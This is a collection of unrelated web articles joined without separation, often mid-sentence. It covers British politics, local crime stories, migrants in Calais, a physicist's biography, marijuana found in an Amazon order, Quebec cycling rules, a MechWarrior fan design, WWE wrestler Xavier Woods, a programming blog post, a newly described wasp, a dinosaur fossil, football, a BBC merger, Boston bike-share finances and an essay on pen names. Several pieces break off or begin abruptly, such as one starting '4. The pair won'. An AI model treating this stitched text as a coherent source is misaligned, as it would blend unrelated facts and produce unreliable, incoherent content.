Mr Blunkett said he had been "privileged to be able to lead on ground-breaking policies" in education and the security of the nation after the 9/11 terror attacks in the United States in 2001, when he was home secretary.
Resignations
He became the youngest ever leader of Sheffield City Council in 1980, before he was elected as an MP and was later appointed as education secretary in 1997, following the landslide election victory for New Labour.
However, he resigned from cabinet posts twice - the first time in 2004 as home secretary after a visa application for ex-lover Kimberly Quinn's nanny was fast-tracked.
An official inquiry found a "chain of events" linking Mr Blunkett's office to the speeding up of a visa application.
Less than 12 months later he stepped down as work and pensions secretary, following a row over his business interests.
One of Mr Blunkett's biggest challenges as home secretary was dealing with the aftermath of the 11 September 2001 attacks on the US.
The MP, who was born blind, has said one of his greatest successes has been breaking down barriers for people with disabilities.
He becomes the latest former Labour cabinet minister to announce his decision to stand down in 2015, including his predecessor as home secretary, Jack Straw, and former Northern Ireland secretary, Peter Hain.Kevin Barbour (Photo: Special to the News Journal)
A Pensacola man suspected of car theft was caught by deputies while catching some Z's mid-pursuit, a news release from the Santa Rosa County Sheriff's Office said.
On Sunday night, a deputy attempted to initiate a traffic stop on Kevin Lee Barbour, 37, after noticing Barbour driving on Avalon Boulevard with no tag lights, the release said. When the deputy activated his sirens, Barbour allegedly pulled off the road and fled on foot.
The deputy reportedly chased Barbour through several yards before losing sight of him.
A K-9 unit was deployed to the scene, and the dog led deputies in a large circle before returning to the area where the deputy lost sight of Barbour. The group heard a loud noise loosely described as a "snorting wild boar," which officers discovered was the sound of Barbour snoring while sleeping underneath a nearby trailer.
Barbour was reportedly driving a stolen vehicle, and he was taken into custody.
He was charged with driving with a suspended license, criminal mischief property damage, vehicle theft and resisting an officer without violence. Barbour is currently being held in Santa Rosa County Jail on $16,500 bond
Read or Share this story: http://on.pnj.com/1DxD9xU(AFP) – As the bulldozers clear the remaining shacks at the “Jungle” camp, the thousands of migrants moved out to shelters around France are facing an uncertain welcome from their new hosts.
The government is looking to distribute the 6,000 residents of the squalid, lawless shantytown in Calais in special centres around the country.
While some ordinary French people are happy to help France do its part in Europe’s biggest migrant crisis since World War 2, there has also been resistance.
Much of the opposition has been in small towns which say they were not properly consulted by a government rushing before winter to find accommodation for the migrants from the Jungle — most of them Sudanese, Afghans and Eritreans.
Late last week the mayor of the rural village of Saint Bauzille in southern France threatened to resign en masse with his council in protest at plans to |
4. The pair won the 1978 Nobel laureate in physics for their discovery.
While working on a new type of antenna at Bell Labs in Holmdel Township, New Jersey, they found a source of noise in the atmosphere that they could not explain.[1] After removing all potential sources of noise, including pigeon droppings on the antenna, the noise was finally identified as CMB, which served as important corroboration of the Big Bang theory.
Life and work [ edit ]
Robert Woodrow Wilson was born on January 10, 1936, in Houston, Texas. He graduated from Lamar High School in River Oaks, in Houston,[2] and studied as an undergraduate at Rice University, also in Houston, where he was inducted into the Phi Beta Kappa society. He then earned a PhD in physics at California Institute of Technology.
Wilson and Penzias also won the Henry Draper Medal of the National Academy of Sciences in 1977.[3]
Wilson remained at Bell Laboratories until 1994, when he was named a senior scientist at the Harvard-Smithsonian Center for Astrophysics in Cambridge, Massachusetts.[4]
Wilson has been a resident of Holmdel Township, New Jersey.[5]
Wilson married Elizabeth Rhoads Sawin[6] in 1958.[7]
Notes [ edit ]
References [ edit ]Photo via Flickr users Global Panorama and Retinafunk
A couple in Florida got a lot more than they ordered when the empty plastic bins they bought on Amazon weren't actually empty when they arrived—they were filled with a shit-ton of weed, WFTV reports.
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The couple said they realized something was weird pretty much immediately after delivery. The 27-gallon plastic storage bins were a little harder to carry than a couple of plastic bins should be. Police later found that the package weighed a total of 93.5 pounds.
"They were extremely heavy, heavier than you would think from ordering four empty bins," the Amazon customer told WFTV. They've asked to remain anonymous since there are basically a thousand movies that begin like this and end pretty badly.
When the female customer opened up the package, she found that each of the four bins contained a green plastic-wrapped bundle of marijuana. All told, the weed itself weighed about 65 pounds. She and her fiancé were completely baffled and called the cops.
"When the first officer got here, she was in disbelief," the customer said.
"We were still pretty fearful our home would be broken into [after the police left]," she continued. "We didn't sleep there for a few days."
Police lugged the weed away and started trying to figure out how the hell a bunch of weed ended up in an Amazon shipment from a Massachusetts warehouse. The couple launched their own investigation as well. They reportedly reached out to Amazon for answers, but, after going around and around with customer service over email for a month, the company never gave them an explanation.
Instead, customer service just passed along a $150 Amazon gift card and said the company was "unable to do anything else at this time." According to a statement sent to WFTV by Amazon, the company is currently working with police to help solve the case.
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The gift certificate may be enough to buy another set of plastic bins, but it doesn't really make up for the whole bizarre scenario or the couple's fear that some drug dealers were going to come looking for their weed. They say they're still waiting for an apology.
"There was no concern for a customer's safety," the unnamed customer said. "I mean, this could have turned into a worst-case scenario."
Related: Meet the Martha Stewart of MarijuanaBUDAPEST, Hungary (AP) — The publishing company of Hungary’s largest left-wing political newspaper says it has suspended its publication because of “considerable” losses while it searches for the “best business model” for the paper.
Mediaworks said Saturday that subscribers would be offered alternative publications or refunds. The company did not say when the newspaper might reappear but wants to “preserve Népszabadság for the future.”
Journalists at the newspaper said they weren’t given advance notice and described the suspension of the paper’s print and online editions as a “coup.”
Hungary’s media landscape has changed considerably in the last few years, with many print and online publications as well as radio and television stations coming under the control of Prime Minister Viktor Orban’s inner circle, and then taking on a noticeable pro-government bent.The Quebec government's promised amendments to the Highway Safety Code are now in effect requiring drivers to stay at least one metre away from bicycles sharing their lane and increasing fines for "dooring" dramatically.
"Dooring" — the common way to describe when someone opens the door of a stopped vehicle without shoulder-checking and hits a passing cyclist — will now cost drivers between $200 and $300. That's up from $30.
Montrealers react
The new rules are welcomed by Jo Murray, who moved to Montreal from Britain.
"Drivers in Montreal can be a bit hectic," Murray, who lives in the Plateau neighbourhood, said.
"There's a lot of cyclists going around here, and I don't think people take enough care. Especially cars," she said.
As a driver who's accidentally doored a cyclist before, Filomena Pupo agrees.
Though the cyclist wasn't hurt, Pupo says she never got over it. She hopes the new rule will force drivers to share the road more.
"To me, it doesn't matter. You are the person who has to be extra careful on the roads. For everybody," she said.
Cyclist Manual Barea, however, says he thinks teaching people to share the road would be more effective than punishing them after the fact.
"Increasing fines, that won't change anything," he said.
Barea and others say the city's narrow streets and high traffic volume make it nearly impossible for drivers to always keep a one-metre distance between their vehicles and cyclists.
More road safety rules may be on the way, some of which aim to hold cyclists more accountable.
Montreal police, for example, want to make it a crime for people to cycle while drunk.bug
Enter The Butcher
Background
Hardpoints and general specs
RA: 1B 1E
CT: 2E
LT: 2M
Engine limit: 250
Quirks
+50% acceleration and deceleration (all speeds)
+15% turn rate
+30% torso twist speed
+10% speed
+20% ballistic velocity
-15% ballistic cooldown
+10% missile velocity
-10% energy heat generation
Additional armor (CT): 28
Additional armor (LT/RT): 12
Additional armor (RA): 18
Additional armor (LA): 12
Additional structure (CT): 16
Additional structure (RA): 16
About Rak I'm an engineer who likes to write extremely long articles about games that border simulation and mainstream.
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The Centurion is without a doubt one of the most iconic MWO 'Mechs. In the lore they were conceived by the Corean Enterprises as a guard dog for the vulnerable LRM-lobbing Trebuchets. In their meatshield role, they were supposed to be tough and hard hitting at all ranges. Their most unique feature is their gigantic custom-made autocannon arm which made for the bulk of its firepower.In MWO the Centurion began its journey as a beastly brawler. It had great hitboxes that oozed every bit of advantage out of STD engines. It also had a smallfeature where a small part of its destroyed arms remained in place and kept reducing incoming damage. The STD Centurion was such a tanker that the only way to get rid of it semi-reliably was to leg it and ignore its torso completely. Unfortunately the current Centurion is a completely different 'Mech. A hitbox pass made its CT a gigantic target which made it more XL viable but also much more fragile. Right now, it only exists as an "enthusiast" 'Mech where it's used pretty much only by experienced players who can make them work in their gimped form. It's more of a skirmisher rather than a full-blown brawler from hell.As I was creating my Centurion artwork,which happened to my most detailed and complete one so far, I decided to go one more step further and give it a completely custom camo. It has splatters of blood and veins all over it and has a white/gray basecoat, much similar to a butcher's coat. It also has a custom decal on its autocannon arm which reads "chop" along with a butcher's knife.Overall, I think it looks very intimidating but also beatiful with its colorful and contrasting camo. Since I really want this thing to be brawly again, I also came up with suitable specifications that'll make this a formidable close range brawler just like in its previous glory days.The Butcher was the personal 'Mech of the renowned mercenary commander Artem Morisov from Black Omen. During the Third Succession War, he commanded a raid onto Ramen II in 2845 which ended up with the destruction of the Corean factory which produced CN9-As. However before blowing up the factory he got hold of a prototype Centurion which was made to address the unreliability of its main cannon by introducing an energy weapon on the arm. It also featured improved armor and an experimental type of myomer that gave it enhanced mobility at the cost of engine size. Impressed by its capabilities, he commanded it throughout the late 2800s with a special camo that invoked fear in its opponents before dying in a raid.After his death, the Butcher was bought by the wealthy enterpreneur Norton Nate and participated in Solaris games throughout the 2900s. While it was one of the favorites of the crowd as the installed AC10 and LPL tended to hack limbs straight off of the opponents, soon its weaknesses were exploited. After a viscious fight in 2947, it was seriously damaged and was shelved until the 3030's. In 3033 it fought against the Yen-Lo-Wang in a thriller Solaris match but failed to win against the nimbler and harder hitting opponent piloted by a legendary pilot.Since then, it was sold to a private collector and completely disappeared from the records.Since pretty much every possible hardpoint configuration has been explored by PGI without breaking the character of this 'Mech, I went for a mixed combination of energy and ballistic hardpoints on the arm. This will naturally force people to either ignore that hardpoint and go full-brawly with the remaining 5, or utilize it with a big energy weapon while forgoing the missile hardpoints. For example, you can put an AC10+LPL there with 2xML as backup. On the other hand you can do a classic brawler setup with AC10+2xML+2xSRM6'es. It'll give the Butcher a flavor without making the other Centurions obsolete or making it too similar to other 'Mechs.The engine cap emphasizes its brawliness and will direct people to using STD engines. It'll also work as the counterweight to the quirks it's going to receive.The Butcher receives significant mobility buffs, however considering the sluggishness introduced by the low engine cap, they're nothing ridiculous. The 10% speed boost is the real attraction here, it effectively boosts the engine rating by 25.The weapon quirks are nothing special for a brawler. Two velocity buffs for ballistics and missiles allow easier weapon usage. Especially the AC10 will feel snappier which will be the main weapon of this 'Mech. Energy heat reduction helps with the heat efficiency by addressing the worst main heat source. The ballistic cooldown adds a tiny amount of DPS. Otherwise pretty mild quirks here.Lastly, it gets massive CT bonuses to help with its horrible hitboxes. If PGI ever gets around to fixing them then more points can be taken from the CT and distributed to the STs. +44 health to its CT means this thing will take punishment like a boss in its current form. +34 to its right arm will help keeping its firepower.WWE tag team champion Xavier Woods does not fit people’s stereotypical preconceptions of what a professional wrestler is. He’s got a Master’s degree in psychology and is currently working towards earning his PhD. He’s really into comic books and cosplay. And he spends hours playing video games on the road, in hotel rooms and at the arenas before Raw and Smackdown go live. He’s also a gaming YouTuber.
Woods is not the only gamer in WWE. Numerous pro wrestlers skip the bar these days in favor of late night gaming sessions. But among them, only one is dropping gaming references in the middle of Raw every Monday night and only one of them is reinventing the way we view an entire field of wrestlers, one gaming video at a time.
A self-professed nerd since he was a kid, Xavier Woods (aka Austin Creed) is a member of one of the WWE’s most popular acts, the current tag team champions The New Day. He also somehow has time to run UpUpDownDown, a popular YouTube channel he created. The basic premise: Creed gathers himself and several other WWE Superstars in a room, and they play video games together. They play everything from Madden to Mortal Kombat to Teenage Mutant Ninja Turtles: Turtles in Time. Creed uploads two or three videos per day. They’re a mix of streams, skits, interview bits, and tournament gameplay. His channel has an audience of nearly 400,000 subscribers. The gameplay, though fun to watch, is not the main attraction. The sessions are usually edited down to their highlights.
The video games are an entry point for the real hook: seeing the WWE wrestlers let down their guard and be themselves. It’s a great chance for mid-card wrestlers to shine. It lets WWE performers who might be locked into one-dimensional characters show off a side of their personalities that they don’t get to show on camera. Take Ryback. He’s a musclebound freak on Raw, but he shows a softer side on UpUpDownDown, when he discusses his childhood nickname, Bubba, and playing racing games at Arizona Charlie’s.
Or check out Kalisto, who gives Creed an awkward, impromptu Spanish lesson. We can count, on one hand, the number of times that Kalisto has spoken on Raw. This briefest of clips humanizes him, and makes him more than just another lucha libre guy in the eyes of fans.
Sometimes, in the course of these videos, we learn more personal tidbits about our favorite wrestlers. In this clip starring NXT Women’s Champion Bayley, she discusses how she played a lot of video games when she spent time with her dad. Her parents divorced, and her dad’s girlfriend’s daughter was the same age as her. It’s the sort of casual revelation that rings true for many gamers, who have deep conversations over a Mario Kart race or a Street Fighter II match. Video games have that power to provide a safe, disarming space for vulnerable kids to have fun and be real with one another.
Creed is uniquely qualified to bring the realest side out of of his fellow co-workers. He is the de facto leader and manager of the funniest, most eccentric stable in professional wrestling, The New Day. Together with Kofi Kingston and Big E. Langston, Creed turned a humiliating, career-killing gimmick into something that was uniquely his own.
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Black wrestlers are rarely given a fair shake in professional wrestling. Being black is often their only gimmick, and it manifests itself in humiliating ways. Kamala was a cannibal from Uganda. Cryme Time were street hoodlums who stole things. The New Day, as first conceived, was a gospel praise group. The trio were booed, vociferously, for all the wrong reasons. It wasn’t because they were taken seriously, but because they were not.
It seemed like a creative dead end, three more careers sacrificed on the altar of the WWE’s creative team. Slowly but surely, however, the trio started altering the gimmick, and making it their own. It started with little things. They started adding in weird, hip swivels to their dance moves, and they started improvising more of their on-camera talking segments, a liberty granted to few wrestlers on the roster.
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They eventually abandoned their church roots altogether, and today, The New Day can be best described as a weird mashup of nerdy jokes and Internet memes. None of this disrupts the show, however. The references and jokes are obscure enough that anyone who doesn’t get them won’t feel alienated or left on the outside. For the fans who do get them, however, there’s a feeling of camaraderie, like sharing an inside joke. Take the moment when Creed played the Final Fantasy victory theme on his trombone. And just last week, Creed referenced his Triforce/Hyrule Crest tattoo on Raw.
Between the video game references, the unicorns and the trombones, the WWE fans now chant, “New Day Rocks!” without a shred of irony. That’s because for all its deliberate corniness, the gimmick feels like something real, something that was created entirely from the heads of the wrestlers who are performing it. And by all appearances, Creed is the ringleader and visionary for this more authentic identity.
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The rivalries on UpUpDownDown don’t come off as scripted WWE programming. They don’t feel like put-ons. They’re competitive but in a friendly way. The shit-talking is of the ‘buddy’s basement’ variety. It feels like something authentic. For example, check out this Mortal Kombat X duel between Sasha Banks and Bayley, which ends with Bayley enduring the worst makeover possible.
Or look at this clip, which depicts the finals of a Madden NFL 16 tournament, where Jack Swagger takes on Seth Rollins. The enthusiasm in both of these clips is infectious, personal, and above all, real. It’s friends being friends, and loving what they are doing:
There are the random cameos. Sometimes it’s with the creators of other gaming channels like Cross Counter TV, sometimes with professional gamers like Justin Wong. Sometimes, Creed feuds with video game journalists, like our own Patrick Klepek.
And then, there’s the series of videos that Creed made with Kenny Omega, who works for the top wrestling company in Japan. Here were two wrestlers, from two promotions, conducting a crossover angle over Tetris and NBA Jam. It’s unheard of in professional wrestling. The WWE makes headlines when wrestlers are backstage at each other’s promotions. But here we have a star from NJPW feuding with a star from WWE, in public, out in the open. The Internet allows for a level of spontaneity and randomness that would never pass muster on television.
There’s a lot you can get out of watching Creed at work. On his YouTube channel he’s giving us new insight to a bevy of WWE stars. On TV he’s an unlikely smack-talking, Left4Dead-referencing, Brony champ. His success is a victory for anyone out there who’s ever loved a dorky, nerdy thing and decided not to care who else knows about it.
AdvertisementAllans, Billy Hyde gear down for closure
Updated
Music retailing icons Billy Hyde and Allans are a step closer to closure, as receivers start laying-off staff and clearing instruments.
The two retail brands merged in July 2010 to form Australian Music Group (AMG).
Receiver Ferrier Hodgson was appointed by one of AMG's major creditors on August 23, and set about looking for a buyer for the 24 company-owned stores.
However, despite discussions continuing with several interested parties to conclude a last minute deal that might save the music retailer, the receivers are now preparing the business for closure.
As part of this process, 56 workers have been laid off, mostly from the company's head office in Rowville, Melbourne.
The receivers have also launched a liquidation sale to clear around $45 million worth of stock.
Ferrier Hodgson partner James Stewart says he is very disappointed that Billy Hyde and Allans look likely to close.
"After serving consumers and the music industry for generations, the likely closure of the business and the loss of these jobs is very disappointing for all concerned," he said.
"We will work with the Administrator to enable affected employees to make claims for their entitlements through the Government Entitlements and Redundancy Scheme (GEERS) as quickly as possible."
Before the latest restructure, the receivers say AMG had 608 staff, including 141 in head office.
More than half of the company's staff are located in Victoria.
They add that the three franchise stores are independently owned, and not in danger of closure as part of the receivership.
AMG's stage equipment company Stage Systems is not part of the receivership and will continue to trade normally.
Topics: business-economics-and-finance, company-news, music-industry, australia, vic
First postedThat’s what today’s court ruling seems to indicate. If you’ll remember, the Illinois supreme court ruled last week that the right to keep and bear arms as enumerated in the bill of rights extends outside the home. A radical idea to be sure. What’s the practical effect of that? It’s this: “A Cook County judge reversed herself Monday and dismissed weapons charges against a Chicago man after a recent Illinois Supreme Court ruling that called part of the state’s gun law unconstitutional.” The defendant, Deafalla Haddad, bought a.45 and began carrying it after he was attacked in his car. In Cook County. Illinois. When he was stopped for speeding in December...
As chicagotribune.com reports, he informed the officer that he was packing the.45 in a holster and was promptly arrested and charged with unlawful use of a weapon.
Under Illinois statutes at the time, carrying a concealed firearm was illegal. But in February 2013, the 7th U.S. Circuit Court of Appeals struck down parts of the state law, and in March Fakhoury filed a motion to dismiss the charges against Haddad.
Judge Ellen Mandeltort denied that motion last week. But that was before the supremes announced their ruling.
At Monday’s hearing, defense attorney Matt Fakhoury asked Mandeltort to reconsider the request in light of the Supreme Court decision. She agreed and found the case against Haddad violated his Second Amendment rights. “This court finds that the charges (against Haddad) are unconstitutional,” Mandeltort said from the bench.
Haddad has one of Illinois’ ludicrous firearms owner identification cards, but no carry permit. Illinois’ new concealed carry law hasn’t been implemented yet. So to the extent that this ruling – in Cook County, mind you – sets a precedent, Illinoisans wouldn’t seem to need no steenkin’ carry permit. Of course, you may want to think twice before testing that yourself. Still, that sound you just heard was Rahm Emanuel’s head exploding like that seen in Scanners.In my last blog post I talked about people pushing a process as the magic bullet when it is the people that matter. Having the wrong people on a team can cause havoc and kill a project. Sometimes these wrong people are cargo cult programmers.
According to Wikipedia: ‘Object-oriented programming (OOP) is a programming paradigm using “objects” – data structures consisting of data fields and methods together with their interactions – to design applications and computer programs.’
OOP is supposed to be a practical way to organize a program into hierarchies of objects where similar objects can inherit behavior from each other and override that behavior when necessary. Objects can also contain other objects and that is a technique called composition. Certain programmers pick up OOP and fall in love with the rule-set without fully understanding it, or they over-apply the principles. These people are cargo cult programmers.
I have met programmers who believe that anywhere there is a conditional statement in OO code, there is cause to subclass, “because that is the OO way! ™”. And they will defend it against any pragmatic reasoning. So anywhere you see an if/then/else or a switch statement, you should find a way to break the logic into seperate objects to avoid the logic. The dogma here is that conditional statements complicate things and are not strictly OO, so they must be minimized and preferable erased.
A Car and a Train and a Truck can all inherit behavior from a Vehicle object, adding their subtle differences. A Firetruck can inherit from the Truck object, and so on. Wait.. and so on? The thing about inheritance is that is so easy to create massive trees of objects. But what OO-bigots won’t tell you is that these trees will mess you up big time if you let them grow too deep, or grow for the wrong reasons.
Programming like this might not be a problem on a small to mid-sized one-man project, since there will be a limit to how much you will need to subclass to get a viable solution to whatever problem you are attacking. But on a 100KLOC+ sized project with thousands of classes, you get into big trouble. The project transforms from manageable inheritance trees and simple classes into an unmanageable mess, with stack traces so deep you need diving skills to reach the offending code. If you are really OOP obsessed and have been using interfaces to avoid being implementation-dependent, then you are in for a real treat. You will end up at the bottom of the stack trace looking at some offending code that clearly fails, but when backtracking to figure out how it got in this state all you encounter is interfaces. So you spend half the time finding out what implementation of said interface is being used and then find out that it is calling super.somemethod(..) which again calles super.somemethod(..) and so on all the way up the inheritance chain.
And then there is the issue of needing to change something in an object near the top of the inheritance stack, which in turn changes the behavior of the objects below in sometimes undefined ways. The deeper the inheritance tree, the worse things get when changing top-level objects. You can of course (and should) have unit tests and regression tests to ensure that the behavior remains the same, but these tests are just crutches that will help you dig yourself into a deeper hole.
The real problem here is that using inheritance too aggressively to simplify the internal logic of individual objects is a bad move. It’s using the KISS (Keep It Simple Stupid) principle, but in the worst way possible. You might think you are adhering to good OOP practice, and your classes might be simple and conditional-free, but no one (including you) will be able to change or debug your code in a painless manner, even with unit tests and regression tests.
When wanting to keep things simple you should try to let the code flow in a linear fashion. Any related logic code should be kept as close as possible, even if it means using conditional statements. It is a lot easier to read code if most of the important bits are in the same object or file instead of spread out between multiple classes. You should of course use inheritance, but moderately and when necessary. You should also abstract out logic into appropriately named methods to keep a readable level of abstraction. And you can also use composition to add behavior to your objects. You want to maximize readability because that is what matters later on when you are maintaining or debugging. That is the pragmatic approach.
No one is impressed by how OO your code is if it is impossible to debug.Megalara garuda, colloquially referred to as the "king of wasps",[1] is a large wasp and the only species in the genus Megalara, family Crabronidae, tribe Larrini.[2] It is only known from the Mekongga Mountains in the southeastern part of the Indonesian island of Sulawesi. It was described in 2012 by Lynn Kimsey, director of the Bohart Museum of Entomology and professor of entomology at the University of California, Davis,[2] and Michael Ohl, curator and head of entomology at the Museum für Naturkunde, Berlin.[3] Rosichon Ubaidillah from the Indonesian Institute of Sciences also contributed the discovery.[4]
In March 2012, the full species description was published.[5] The species is named after Garuda,[2] the national symbol of Indonesia, a giant bird-like creature. This species had never been observed while alive or in flight, nor had any raw footage of one alive ever been seen.[6]
Males of one morph are about 3.3 cm (1.3 in) long, with very large jaws.[5] Their elongated mandibles are almost as long as their forelegs.[5] Males of another morph and all females have proportionally smaller jaws and are overall smaller at about 2–2.5 cm (0.8–1.0 in), but still larger than other species in the subfamily.[5] Both sexes are shiny black with black wings. It is a solitary predator of other insect species.
Very little is known about the sting of this insect.[2]
References [ edit ]A rare, mummified specimen of the duck-billed dinosaur Edmontosauraus regalis described in the Cell Press journal Current Biology on December 12 shows for the first time that those dinosaurs' heads were adorned with a fleshy comb, most similar to the roosters' red crest.
The most common dinosaurs in North America between 75 and 65 million years ago, duck-billed dinosaurs were gentle giants, about 12 meters long, and filled the same ecological role that kangaroos or deer play today. But no one had suspected that they--or other dinosaurs, for that matter--had fleshy structures on the tops of their heads.
"Until now, there has been no evidence for bizarre soft-tissue display structures among dinosaurs; these findings dramatically alter our perception of the appearance and behavior of this well-known dinosaur and allow us to comment on the evolution of head crests in this group," says Phil Bell from Australia's University of New England. "It also raises the thought-provoking possibility of similar crests among other dinosaurs."
The dinosaur specimen in question was found in deposits west of the city of Grande Prairie in west-central Alberta, Canada. Bell, along with Federico Fanti from the University of Bologna, Italy, knew they had something special when they found skin impressions on parts of the mummified body. But it wasn't until Bell put a chisel through the top of the crest that he realized they really had something incredible.
"An elephant's trunk or a rooster's crest might never fossilize because there's no bone in them," Bell explains. "This is equivalent to discovering for the first time that elephants had trunks. We have lots of skulls of Edmontosaurus, but there are no clues on them that suggest they might have had a big fleshy crest. There's no reason that other strange fleshy structures couldn't have been present on a whole range of other dinosaurs, including T. rex or Triceratops."
Of course, it's hard to tell what that cocks comb might have done for the duck-billed dinosaurs. In roosters and some other birds, bright red crests are a way to get the girls. "We might imagine a pair of male Edmontosaurus sizing each other up, bellowing, and showing off their head gear to see who was the dominant male and who is in charge of the herd," Bell says.
We may never know exactly, but the new study is a useful reminder of just how bizarre and amazing dinosaurs really were, the researchers say. There is much left to discover.
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Current Biology, Bell et al.: "A mummified duck-billed dinosaur with a soft-tissue cock's comb."Mario Balotelli’s agent claims manager Brendan Rodgers is pushing the Liverpool striker further than anyone has before in his career.
The 24-year-old has worked under the likes of Jose Mourinho and Roberto Mancini but it appears Rodgers is the one who has pushed the Italy international furthest out of his comfort zone.
“Right now, I think Mario has a very interesting development for his career,” Balotelli’s agent Mino Raiola told RMC.
“He has found a coach who asks of him things that had never been requested of him until now, including the discipline of running without the ball.
“This allows him to grow as a person and as a football player. He’ll come out even stronger.
“He is proud of his team (Liverpool) and that is the most important.”
Balotelli has had a less-than-impressive start to his Anfield career after a £16million move from AC Milan in the summer.
He has started only once since November 8 – in the Europa League exit to Besiktas last week – and has scored only four goals, all in different competitions, and just one in the Premier League.
Having been an unused substitute for the second successive match Balotelli, after the midweek win over Burnley, posted a cryptic message on Instagram.
The Italian wrote: “Someone doesn’t like me but differently (sic) of what they say about me I’m a team player and I’m so proud of my team, of this win and of these fans! Let’s keep going. Bravi Ragazzi!!! YNWA!!!”The BBC is merging its commercial and production arms in a major move designed to maintain its global clout in the face of threats from big players such as Netflix and Amazon.
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The union of BBC Studios and BBC Worldwide into a single commercial structure will create a “simplified organisation with a single business plan and combined operating model” according to the BBC.
BBC Studios – which makes the BBC’s in-house programmes – and commercial arm BBC Worldwide already work together closely on shows such as current TV hit Blue Planet II. But the formal merger is principally designed to maximise the revenue the BBC can generate from global sales from the scores of other shows it makes in-house such as Doctor Who, Strictly Come Dancing and Top Gear.
The move follows warnings from BBC director general Tony Hall earlier this month of the “serious threat” due to changes taking place in the industry as a result of the rise of Netflix, Amazon and Apple, which he said threaten a dramatic fall in investment in home-grown television.
Favourite British shows such as Strictly Come Dancing and Britain’s Got Talent made by British ‘terrestrial’ broadcasters will be affected according to Hall, who warned that the amount spent on British TV could fall by around £500 million a year over the next ten years.
This figure – around 20 per cent of the total spend on British-made programmes for the British market – was identified in a report by consultants Mediatique, which was specially commissioned by the BBC to look into the future of the industry.
Hall also recently said he wants viewers to be able to access all their favourite shows from the BBC’s entire archive in a new paid-for digital service.
Announcing the merger of BBC Worldwide and BBC Studios today, the BBC said in a statement: “The TV industry has been changing fast and major global players are investing vast sums in content – but not primarily in British content reflecting British lives.
“Recent research by consultants Mediatique earlier this month forecast that spending on British programming could fall in real terms by £500m over the next decade – posing a real risk to the volume and breadth of British content available, with a potentially damaging impact on distinctiveness, risk-taking and innovation. A successful new BBC Studios will be better placed to make the investments others will not.”
Production arm BBC Studios makes Blue Planet II, Strictly Come Dancing, Antiques Roadshow, EastEnders and Top Gear.
BBC Worldwide has returned almost £1bn to the BBC in the past five years via sales of programmes and secondary deals with shows such as Doctor Who (sold to 239 territories) and Top Gear, sold to 241.
Announcing the merger, Hall said, “In a fast-changing TV industry, securing the future success of the BBC is vital.
“Creating a single BBC Studios will bring the BBC in line with the industry, be simpler and more efficient. It will help ensure that licence fee payers in the UK continue to receive outstanding British programmes which reflect British lives, long into the future.
“It will also ensure the BBC can continue to play its crucial role in supporting the successful UK creative economy.”
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The new BBC Studios will be jointly led by Chief Executive Officer Tim Davie and Chief Creative Officer Mark Linsey.The Hubway bike-share system is a profit-maker for the City and the Oregon company that operates it, a Gazette review of the program’s finances has found.
For the fiscal year 2012, the City collected $173,835 in profit, all of which was funneled back into expanding the system, according to Boston Bikes Director Nicole Freedman. Alta Bicycle Share, the for-profit system’s operator, put back $86,917 into the system that year.
The City is paying millions of dollars for Hubway, including a $900,000 “launch fee” and escalating annual fees of $750,000 to $820,000. But none of it is coming from City coffers.
“No City money has been spent on Hubway to date. All funding has come from sponsors, advertisers, user fees, memberships and grants,” said Freedman.
Launched in 2011, Hubway is a for-profit venture that allows people to rent bicycles from automated stations around town, with registration available through thehubway.com. It recently expanded to Jamaica Plain.
The City and Alta split Hubway profits 50-50, according to the system contract, which was provided to the Gazette by the Mayor’s Office. The three-year contract requires Alta to put at least half of its profit back into the system for expansion.
While the City is currently putting all of its profit into expansion, that won’t always be the case.
“After the system is full-size, the plan would be that money goes into the City’s general fund,” said Freedman.
She said the City currently has 88 stations and plans to expand to around 225.
Under the Hubway deal, the City owns the bicycles and stations, while Alta is responsible for operations, maintenance and insurance liability.
While sometimes described by officials and the press as a public-private “partnership,” the contract makes it clear it is not. Alta is deemed an independent contractor of the City in the contract.
Hubway’s main income comes from annual membership fees and advertising and sponsorship fees.
Sponsors often pay money to have a station on their land. Beth Israel Deaconess Medical Center in the Longwood Medical Area pays the City $50,000 for three years for a station there. Freedman said that sponsorship of all stations is the same fee.
Initial donors to the Hubway program, according to contract documents, included various colleges and universities, the Boston Red Sox, and such major developers as Boston Properties and the Fallon Company. Major grant funding came through the MBTA and other sources with the aim of connecting bikes to public transit and ultimately improving public health.
Hubway stations were installed this year in JP at the Jackson Square T Station; at the Green Street T |
longtime love of superhero comics, in which no self-respecting crime fighter (or villain) would be caught dead without an appropriately spicy nom de guerre. I wasn’t contending against chauvinism, like George Eliot (Mary Anne Evans), or against puritanism, like Pauline Réage (Anne Desclos), or political repression, like Mo Yan (Guan Moye); the only thing I was struggling against was my own tendency toward self-defeat. As struggles go, that’s not especially noble, and the answer I usually give, when cornered, is that I took my pen name for no reason at all. This seems to satisfy most people, and, for a long time, I actually believed it myself.
The truth is, I’ve been fascinated by the notion of pseudonyms from the moment I became aware of their existence, which—as near as I can place it—was around the age of nine. My mother, an immigrant to upstate New York from Austria, was in the habit of going through two to three Penguin Classics each week (to improve her English, she claimed, though her English was already perfect), and our house was so full of those elegant orange-spined paperbacks that the color still excites me when I come across it, even if only on an awning or a traffic safety vest. Most of the books themselves were too advanced for me, so I focussed on the Notes About the Author. Lewis Carroll (Charles Dodgson) was first; then came Currer, Acton, and Ellis Bell (the Brontë sisters), then Joseph Conrad (Konrad Korzeniowski). There were others before and after and in between, of course, but those writers who seemed to have led double lives thrilled me in a way the others couldn’t, and I read some of those two-paragraph bios (always with a delicately etched portrait in the upper right-hand corner) over and over again, as if they contained encrypted instructions on how to become an adult.
Mark Twain and George Orwell and Isak Dinesen were something more than they would have been without their pseudonyms, or so it seemed to me. Their desire to reconfigure their real, lived experience was so great that it had broken the constraints of their fiction and bled, if only ever so slightly, into the actual world. I wouldn’t have put it this way at age nine, of course; they simply seemed more mysterious to me, and more powerful. They were taking something foisted on them, the identities they’d been assigned, and refashioning them to suit their own designs. They existed as authors and as characters simultaneously. How could that be tolerated?
It often wasn’t, especially in the late eighteenth and early nineteenth centuries. Many books were published anonymously or under noms de plume in that first great age of the novel, and determined sport was made of exposing the persons behind them, often based on the supposed “maleness” or “femininity” of style or point of view. Some authors accepted exposure good-naturedly, as the inevitable price of success; some emphatically did not. “To you I am neither man nor woman,” Charlotte Brontë wrote in an angry address to her critics, after the true identity of Currer Bell became known. “I come before you as an Author only—it is the sole standard by which you have a right to judge me—the sole ground on which I accept your judgment.’”
